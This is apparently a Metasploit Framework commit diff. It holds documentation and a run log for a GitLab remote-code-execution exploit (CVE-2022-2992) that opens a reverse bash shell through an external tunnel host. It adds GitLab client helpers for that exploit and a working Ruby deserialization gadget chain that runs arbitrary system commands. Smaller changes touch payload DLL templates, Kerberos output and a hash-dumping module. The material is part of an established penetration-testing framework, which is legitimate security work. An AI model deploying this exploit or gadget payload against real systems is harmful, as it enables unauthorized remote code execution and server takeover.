gitlab_config:
driver: local
gitlab_logs:
driver: local
gitlab_data:
driver: local
```
Run the below command to create the container:
```
$ docker-compose up
```
Wait for container to be "healthy" before continue. One can use [this](https://github.com/redwaysecurity/CVEs/blob/main/CVE-2022-2992/environment/healthy.sh) bash script to monitor the status.
```
$ # Creating personal access token for the root user
$ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
$ # Using the personal access token from the root user a user.
$ USER=msf
$ PASSWORD=SuperStrongestGitLabPassword
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Options
### TARGETURI (required)
The path to the GitLab (Default: `/`).
### USERNAME (required)
The username of the target user to authenticate with.
### PASSWORD (required)
The password of the target user to authenticate with.
### SRVHOST (required)
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
### SRVPORT (required)
The local port to listen on. This is the port to be used when creating the tunnel.
### URIHOST
Host to use in GitHub import URL. On default GitLab instances, this must be either a public (non-RFC1918) IP address or
a hostname that resolves to a public IP address. This option can be used in conjunction with a reverse port-forwarding
service such as SSH or NGROK. **The target GitLab server will connect to this host and eventually receive the payload
through it, so it is important to use a host that is considered to be trustworthy.**
## Scenarios
### Docker container running GitLab 15.3.1
The following example uses the following three hosts:
* 192.168.159.128 -- The target GitLab server
* 192.168.250.134 -- The host on which Metasploit is running
* ext.msflab.local -- An external host on the internet through which the HTTP requests from GitLab to Metasploit are
tunneled in order to bypass GitLab restrictions.
External to Metasploit, SSH is used to setup a reverse port forward through a host with a public (non-RFC1918) IP
address. This is necessary to bypass Import URL restrictions that are in place by default on GitLab. The port-forward
was configured with `ssh -R 8088:localhost:8088 ext.msflab.local` to forward TCP port 8088 on ext.msflab.local to the
local Metasploit instance. Alternatively, this step could be skipped if Metasploit were running on a host with public IP
address.
If the target GitLab server can not import from the specified URL (for example because the host is a private IP
address), then the module will throw this error:
```
[-] Exploit failed: Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError Invalid URL: http://192.168.250.134:8088/
```
```
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options
Module options (exploit/multi/http/gitlab_github_import_rce_cve_2022_2992):
Name Current Setting Required Description
---- --------------- -------- -----------
IMPORT_DELAY 5 yes Time to wait from the import task before try to trigger the payload
PASSWORD Password1! yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 880 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8088 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to the gitlab application
URIHOST ext.msflab.local no Host to use in GitHub import URL
URIPATH no The URI to use for this exploit (default is random)
USERNAME smcintyre yes The username to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected GitLab version 15.3.1 which is vulnerable.
[*] Using URL: http://ext.msflab.local:8088/
[*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:56794) at 2023-02-13 13:41:05 -0500
id
[*] Server stopped.
uid=998(git) gid=998(git) groups=998(git)
pwd
/var/opt/gitlab/gitlab-rails/working
exit
[*] 192.168.159.128 - Command shell session 1 closed.
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) >
```
+10 -8
View File
@@ -1,5 +1,6 @@
require 'rbconfig'
require 'yaml'
require 'open3'
module Metasploit
module Framework
@@ -17,20 +18,21 @@ module Metasploit
version_info = YAML.load_file(version_yml)
hash = '-' + version_info['build_framework_rev']
else
# determine if git is installed
null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
git_installed = system("git --version > #{null} 2>&1")
# get the hash of the HEAD commit
if git_installed && File.exist?(File.join(root, '.git'))
hash = '-' + `git rev-parse --short HEAD`
# Fallback to using Git version detection if version_yml not present
changed_files = %w[git rev-parse --short HEAD]
begin
# stderr may contain Git warnings that we can ignore
output, _stderr, status = ::Open3.capture3(*changed_files, chdir: root)
hash = "-#{output}" if status.success?
rescue => e
elog(e) if defined?(elog)
end
end
hash.strip
end
end
VERSION = "6.3.2"
VERSION = "6.3.4"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,35 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with gitlab installations
module Gitlab
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
include Msf::Exploit::Remote::HTTP::Gitlab::Error
include Msf::Exploit::Remote::HTTP::Gitlab::Form
include Msf::Exploit::Remote::HTTP::Gitlab::Groups
include Msf::Exploit::Remote::HTTP::Gitlab::Helpers
include Msf::Exploit::Remote::HTTP::Gitlab::Import
include Msf::Exploit::Remote::HTTP::Gitlab::Rest
include Msf::Exploit::Remote::HTTP::Gitlab::Version
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitlab application', '/'])
], Msf::Exploit::Remote::HTTP::Gitlab
)
end
# class GitLabClientException < StandardError; end
end
end
end
end
end
@@ -0,0 +1,7 @@
# -*- coding: binary -*-
# GitLab Access Tokens mixin
module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
end
@@ -0,0 +1,5 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
include Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
end
@@ -0,0 +1,43 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Error
# GitLab error mixin
class ClientError < ::StandardError
def initialize(message: nil)
super(message || 'Gitlab Client Error')
end
end
# Authentication error
class AuthenticationError < ClientError
def initialize
super(message: 'Authentication failed')
end
end
# Csrf token error
class CsrfError < ClientError
def initialize(message = 'Could not successfully extract CSRF token')
super(message: message)
end
end
# Group error
class GroupError < ClientError
def initialize(message)
super(message: message)
end
end
# Import error
class ImportError < ClientError
def initialize(message)
super(message: message)
end
end
# Version error
class VersionError < ClientError
def initialize
super(message: 'Unable to determine Gitlab version')
end
end
end
@@ -0,0 +1,2 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Form
end
@@ -0,0 +1,34 @@
# -*- coding: binary -*-
# Create a Gitlab Access Token via form
module Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
# Create Gitlab access access token
#
# @return [String,nil] Gitlab personal access token if created, nil otherwise
def gitlab_create_personal_access_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/-/profile/personal_access_tokens'),
'keep_cookies' => true,
'vars_post' => {
'personal_access_token[name]' => Rex::Text.rand_text_alphanumeric(8),
'personal_access_token[expires_at]' => '',
'personal_access_token[scopes][]' => 'api',
'commit' => 'Create personal access token'
},
'headers' => {
'X-CSRF-Token' => gitlab_helper_extract_csrf_token(path: '/-/profile/personal_access_tokens', regex: /name="csrf-token" content="(.*)"/)
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to create access token. Unexpected HTTP #{res.code} response." unless res.code == 200
token = JSON.parse(res.body)['new_token']
return token if token
nil
end
end
@@ -0,0 +1,61 @@
# -*- coding: binary -*-
# GitLab session mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
# performs a gitlab login
#
# @param user [String] Username
# @param pass [String] Password
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def gitlab_sign_in(username, password)
sign_in_path = '/users/sign_in'
csrf_token = gitlab_helper_extract_csrf_token(
path: sign_in_path,
regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
)
raise Msf::Exploit::Remote::HTTP::GitLab::Error::CsrfError unless csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, sign_in_path),
'keep_cookies' => true,
'vars_post' => gitlab_helper_login_post_data(username, password, csrf_token)
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res.code != 302
cookies = res.get_cookies
# Check if a valid gitlab cookie is returned
return cookies if cookies =~ /(_gitlab_session=[A-Za-z0-9%-]+)/i
nil
end
# performs a gitlab logout
#
# @return [Boolean,GitLabError] True if sign out, Msf::Exploit::Remote::HTTP::Gitlab::Error otherwise
def gitlab_sign_out
csrf_token = gitlab_helper_extract_csrf_token(
path: '/',
regex: /name="csrf-token" content="(.*)"/
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/users/sign_out'),
'keep_cookies' => true,
'vars_post' => {
'_method' => 'post',
'authenticity_token' => csrf_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res.code == 302 && res.headers&.fetch('Location', '')&.include?('/users/sign_in')
true
end
end
@@ -0,0 +1,6 @@
# -*- coding: binary -*-
# GitLab Groups mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Groups
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
end
@@ -0,0 +1,43 @@
# -*- coding: binary -*-
# GitLab helpers mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Helpers
# Helper methods are private and should not be called by modules
private
# Returns the POST data for a Gitlab login request
#
# @param user [String] Username
# @param pass [String] Password
# @param csrf_token [String] CSRF token
# @return [Hash] The post data for vars_post Parameter
def gitlab_helper_login_post_data(user, pass, csrf_token)
post_data = {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'user[login]' => user,
'user[password]' => pass,
'user[remember_me]' => 0
}
post_data
end
def gitlab_helper_extract_csrf_token(path:, regex:)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path),
'keep_cookies' => true
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' if res.nil?
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError unless res&.code == 200
token = res.body[regex, 1]
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError, "Could not successfully extract CSRF token using the regex #{regex}" if token.nil?
token
end
end
@@ -0,0 +1,6 @@
# -*- coding: binary -*-
# GitLab import mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Import
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
end
@@ -0,0 +1,4 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest
end
@@ -0,0 +1,2 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4
end
@@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
# Revoke a Gitlab access token via the v4 REST api
#
# @return [nil,GitLabClientError] nil if revoke, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
def gitlab_revoke_personal_access_token(personal_access_token)
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, '/api/v4/personal_access_tokens/self'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => personal_access_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to revoke access token. Unexpected HTTP #{res.code} response." unless res.code == 204
nil
end
end
@@ -0,0 +1,51 @@
# -*- coding: binary -*-
# GitLab Groups mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
# Create a new group
#
# @return [String,nil] Group ID if successful create, nil otherwise
def gitlab_create_group(group_name, api_token)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v4/groups'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
},
'data' => {
name: group_name, path: group_name, visibility: 'public'
}.to_json
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to create group. Unexpected HTTP #{res.code} response." if res.code != 201
group = JSON.parse(res.body)
return group if group
nil
end
# Delete a group
#
# @return [Bolean,GitLabClientError] True if successful deleted, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
def gitlab_delete_group(group_id, api_token)
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri('/api/v4/groups', group_id),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to delete group. Unexpected HTTP #{res.code} response." if res.code != 202
true
end
end
@@ -0,0 +1,45 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
# Import a repository from a remote URL
#
# @return [String,nil] Import ID if successfully enqueued, nil otherwise
def gitlab_import_github_repo(group_name:, github_hostname:, api_token:)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v4/import/github'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
},
'data' => {
'personal_access_token' => Rex::Text.rand_text_alphanumeric(8),
'repo_id' => rand(1000),
'target_namespace' => group_name,
'new_name' => "gh-import-#{rand(1000)}",
'github_hostname' => github_hostname
}.to_json
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
# 422 is returned if the import failed, but the response body contains the error message
if res.code == 422
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
end
# 201 is returned if the import was successfully enqueued
unless res.code == 201
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
end
# Example of a successful response body
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
body = res.get_json_document
return body if body
nil
end
end
@@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
# Extracts the Gitlab version information from various sources
#
# @return [String,nil] Gitlab version if found, nil otherwise
def gitlab_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v4/version'),
'keep_cookies' => true
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res.code == 200
body = JSON.parse(res.body)
version = body['version'][Regexp.new(Msf::Exploit::Remote::HTTP::Gitlab::GITLAB_VERSION_PATTERN), 1]
return version if version
nil
end
end
@@ -0,0 +1,9 @@
# -*- coding: binary -*-
# GitLab version mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Version
# Used to check if the version is correct: must contain at least one dot
GITLAB_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'.freeze
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
end
@@ -0,0 +1,54 @@
# -*- coding: binary -*-
# Ruby deserialization mixin
module Msf
# Ruby deserialization exploit module
module Exploit::RubyDeserialization
include Msf::Exploit::Powershell
# Generate a binary blob that when deserialized by Ruby will execute the specified command using the platform-specific
# shell.
#
# @param [String] name The name of the payload to use.
# @param [String] command The OS command to execute.
#
# @return [String] The opaque data blob.
def generate_ruby_deserialization_for_command(command, name)
Msf::Util::RubyDeserialization.payload(name, command)
end
# Generate a binary blob that when deserialized by ruby will execute the specified payload. This routine converts the
# payload automatically based on the platform and architecture.
#
# @param [String] name The name of the payload to use.
# @param [Msf::EncodedPayload] payload The payload to execute.
#
# @raise [RuntimeError] This raises a RuntimeError of the specified payload can not be automatically converted to an
# operating system command.
#
# @return [String] The opaque data blob.
def generate_ruby_deserialization_for_payload(payload, name)
command = nil
if payload.platform.platforms == [Msf::Module::Platform::Windows]
if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? payload.arch.first
command = cmd_psh_payload(payload.encoded, payload.arch.first, { remove_comspec: true })
elsif payload.arch.first == Rex::Arch::ARCH_CMD
command = payload.encoded
end
elsif payload.arch.first == Rex::Arch::ARCH_CMD
command = payload.encoded
end
if command.nil?
raise 'Could not generate the payload for the platform/architecture combination'
end
generate_ruby_deserialization_for_command(command, name)
end
def self.gadget_chains
Msf::Util::RubyDeserialization.payload_names
end
end
end
+1 -1
View File
@@ -22,7 +22,7 @@ module Msf::Module::HasActions
def find_action(name)
return nil if not name
actions.each do |a|
return a if a.name == name
return a if a.name.downcase == name.downcase
end
return nil
end
+50 -39
View File
@@ -530,7 +530,7 @@ require 'digest/sha1'
case opts[:exe_type]
when :service_exe
max_length = 8192
opts[:exe_max_sub_length] ||= 8192
name = opts[:servicename]
if name
bo = pe.index('SERVICENAME')
@@ -541,18 +541,18 @@ require 'digest/sha1'
end
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
when :dll
max_length = 4096
opts[:exe_max_sub_length] ||= 4096
when :exe_sub
max_length = 4096
opts[:exe_max_sub_length] ||= 4096
end
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
if code.length <= max_length
if code.length <= opts.fetch(:exe_max_sub_length)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of " +
"#{max_length} bytes, please fix the calling module"
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
@@ -671,6 +671,40 @@ require 'digest/sha1'
exe_sub_method(code,opts)
end
# self.set_template_default_winpe_dll
#
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
#
# @param opts [Hash]
# @param arch The architecture, as one the predefined constants.
# @param size [Integer] The size of the payload.
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
return if opts[:template].present?
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
if match
opts[:exe_max_sub_length] = match.first
size_suffix = match.last
end
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
if flavor.present?
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
end
flavor = '_' + flavor
end
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
end
# self.to_win32pe_dll
#
# @param framework [Msf::Framework] The framework of you want to use
@@ -681,13 +715,8 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win32pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
if opts.fetch(:mixed_mode, false)
default_exe_template = 'template_x86_windows_mixed_mode.dll'
else
default_exe_template = 'template_x86_windows.dll'
end
set_template_default(opts, default_exe_template)
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
opts[:exe_type] = :dll
if opts[:inject]
@@ -707,13 +736,9 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win64pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
if opts.fetch(:mixed_mode, false)
default_exe_template = 'template_x64_windows_mixed_mode.dll'
else
default_exe_template = 'template_x64_windows.dll'
end
set_template_default(opts, default_exe_template)
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
opts[:exe_type] = :dll
if opts[:inject]
@@ -724,7 +749,7 @@ require 'digest/sha1'
end
# self.to_win32pe_dll
# self.to_win32pe_dccw_gdiplus_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
@@ -734,18 +759,11 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
opts[:exe_type] = :dll
if opts[:inject]
self.to_win32pe(framework, code, opts)
else
exe_sub_method(code,opts)
end
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
to_win32pe_dll(framework, code, opts)
end
# self.to_win64pe_dll
# self.to_win64pe_dccw_gdiplus_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
@@ -755,15 +773,8 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
opts[:exe_type] = :dll
if opts[:inject]
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
else
exe_sub_method(code,opts)
end
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
to_win64pe_dll(framework, code, opts)
end
# Wraps an executable inside a Windows .msi file for auto execution when run
+34
View File
@@ -0,0 +1,34 @@
# -*- coding: binary -*-
# Ruby deserialization Utility
module Msf
module Util
# Ruby deserialization class
class RubyDeserialization
# That could be in the future a list of payloads used to exploit the Ruby deserialization vulnerability.
PAYLOADS = {
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
net_writeadapter: proc do |command|
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement" \
"[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:" \
"#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI#{Marshal.dump(Rex::Text.rand_text_alphanumeric(12..20))[2..-1]}" \
"\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14" \
"Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r" \
"@git_setI#{Marshal.dump(command)[2..-1]}\x06;\fT;\x12:\fresolve"
end
}
def self.payload(payload_name, command = nil)
raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym
PAYLOADS[payload_name.to_sym].call(command)
end
def self.payload_names
PAYLOADS.keys
end
end
end
end
+1
View File
@@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'bindata'
require 'rex/post/channel'
module Rex::Proto::Http::WebSocket
class WebSocketError < StandardError
@@ -82,10 +82,10 @@ module Rex::Proto::Kerberos::CredentialCache
end
output << 'Times:'
output << "Auth time: #{cred.authtime}".indent(2)
output << "Start time: #{cred.starttime}".indent(2)
output << "End time: #{cred.endtime}".indent(2)
output << "Renew Till: #{cred.renew_till}".indent(2)
output << "Auth time: #{present_time(cred.authtime)}".indent(2)
output << "Start time: #{present_time(cred.starttime)}".indent(2)
output << "End time: #{present_time(cred.endtime)}".indent(2)
output << "Renew Till: #{present_time(cred.renew_till)}".indent(2)
output << 'Ticket:'
output << "Ticket Version Number: #{ticket.tkt_vno}".indent(2)
@@ -113,12 +113,12 @@ module Rex::Proto::Kerberos::CredentialCache
output = []
output << 'Validation Info:'
output << "Logon Time: #{present_time(validation_info.logon_time)}".indent(2)
output << "Logoff Time: #{present_time(validation_info.logoff_time)}".indent(2)
output << "Kick Off Time: #{present_time(validation_info.kick_off_time)}".indent(2)
output << "Password Last Set: #{present_time(validation_info.password_last_set)}".indent(2)
output << "Password Can Change: #{present_time(validation_info.password_can_change)}".indent(2)
output << "Password Must Change: #{present_time(validation_info.password_must_change)}".indent(2)
output << "Logon Time: #{present_ndr_file_time(validation_info.logon_time)}".indent(2)
output << "Logoff Time: #{present_ndr_file_time(validation_info.logoff_time)}".indent(2)
output << "Kick Off Time: #{present_ndr_file_time(validation_info.kick_off_time)}".indent(2)
output << "Password Last Set: #{present_ndr_file_time(validation_info.password_last_set)}".indent(2)
output << "Password Can Change: #{present_ndr_file_time(validation_info.password_can_change)}".indent(2)
output << "Password Must Change: #{present_ndr_file_time(validation_info.password_must_change)}".indent(2)
output << "Logon Count: #{validation_info.logon_count}".indent(2)
output << "Bad Password Count: #{validation_info.bad_password_count}".indent(2)
@@ -129,8 +129,8 @@ module Rex::Proto::Kerberos::CredentialCache
output << "User Account Control: #{validation_info.user_account_control}".indent(2)
output << "Sub Auth Status: #{validation_info.sub_auth_status}".indent(2)
output << "Last Successful Interactive Logon: #{present_time(validation_info.last_successful_i_logon)}".indent(2)
output << "Last Failed Interactive Logon: #{present_time(validation_info.last_failed_i_logon)}".indent(2)
output << "Last Successful Interactive Logon: #{present_ndr_file_time(validation_info.last_successful_i_logon)}".indent(2)
output << "Last Failed Interactive Logon: #{present_ndr_file_time(validation_info.last_failed_i_logon)}".indent(2)
output << "Failed Interactive Logon Count: #{validation_info.failed_i_logon_count}".indent(2)
output << "SID Count: #{validation_info.sid_count}".indent(2)
@@ -160,7 +160,7 @@ module Rex::Proto::Kerberos::CredentialCache
output = []
output << 'Client Info:'
output << "Name: '#{client_info.name.encode('utf-8')}'".indent(2)
output << "Client ID: #{present_time(client_info.client_id)}".indent(2)
output << "Client ID: #{present_ndr_file_time(client_info.client_id)}".indent(2)
output.join("\n")
end
@@ -231,10 +231,10 @@ module Rex::Proto::Kerberos::CredentialCache
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_part)
output = []
output << 'Times:'
output << "Auth time: #{ticket_enc_part.authtime}".indent(2)
output << "Start time: #{ticket_enc_part.starttime}".indent(2)
output << "End time: #{ticket_enc_part.endtime}".indent(2)
output << "Renew Till: #{ticket_enc_part.renew_till}".indent(2)
output << "Auth time: #{present_time(ticket_enc_part.authtime)}".indent(2)
output << "Start time: #{present_time(ticket_enc_part.starttime)}".indent(2)
output << "End time: #{present_time(ticket_enc_part.endtime)}".indent(2)
output << "Renew Till: #{present_time(ticket_enc_part.renew_till)}".indent(2)
output << "Client Addresses: #{ticket_enc_part.caddr.to_a.length}"
unless ticket_enc_part.caddr.to_a.empty?
@@ -281,14 +281,21 @@ module Rex::Proto::Kerberos::CredentialCache
# @param [RubySMB::Dcerpc::Ndr::NdrFileTime] time
# @return [String] A human readable representation of the time
def present_time(time)
def present_ndr_file_time(time)
if time.get == Rex::Proto::Kerberos::Pac::NEVER_EXPIRE
'Never Expires (inf)'
elsif time.get == 0
'No Time Set (0)'
else
time.to_time.to_s
present_time(time.to_time)
end
end
# @param [Time] time
# @return [String] A human readable representation of the time in the users timezone
def present_time(time)
time.localtime.to_s
end
end
end
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary
Dumps SAM hashes and LSA secrets (including cached creds) from the
remote Windows target without executing any agent locally. First, it
reads as much data as possible from the registry and then save the
hives locally on the target (%SYSTEMROOT%\random.tmp). Finally, it
hives locally on the target (%SYSTEMROOT%\Temp\random.tmp). Finally, it
downloads the temporary hive files and reads the rest of the data
from it. This temporary files are removed when it's done.
@@ -162,7 +162,7 @@ class MetasploitModule < Msf::Auxiliary
file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.tmp"
vprint_status("Save key to #{file_name}")
@winreg.save_key(new_key_handle, file_name)
@winreg.save_key(new_key_handle, "..\\Temp\\#{file_name}")
file_name
ensure
@winreg.close_key(new_key_handle) if new_key_handle
@@ -172,7 +172,7 @@ class MetasploitModule < Msf::Auxiliary
def retrieve_hive(hive_name)
file_name = save_registry_key(hive_name)
tree2 = simple.client.tree_connect("\\\\#{sock.peerhost}\\ADMIN$")
file = tree2.open_file(filename: "System32\\#{file_name}", delete: true, read: true)
file = tree2.open_file(filename: "Temp\\#{file_name}", delete: true, read: true)
file.read
ensure
file.delete if file
@@ -0,0 +1,194 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
